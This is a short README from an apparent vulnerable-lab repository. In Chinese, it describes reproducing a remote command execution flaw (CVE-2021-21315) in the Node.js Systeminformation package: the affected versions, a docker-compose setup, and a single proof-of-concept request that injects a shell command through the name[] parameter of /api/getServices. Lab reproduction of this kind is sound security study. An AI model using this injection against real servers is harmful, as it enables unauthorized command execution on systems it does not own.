Skip to content

Latest commit

 

History

History

vultarget

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 
 
 
 
 
 
 

Nodejs Systeminformation组件RCE(CVE-2021-21315)

影响版本

Systeminformation < 5.3.1

环境搭建

docker-compose up -d

复现

/api/getServices?name[]=$(touch%20/tmp/success)

1.png

2.png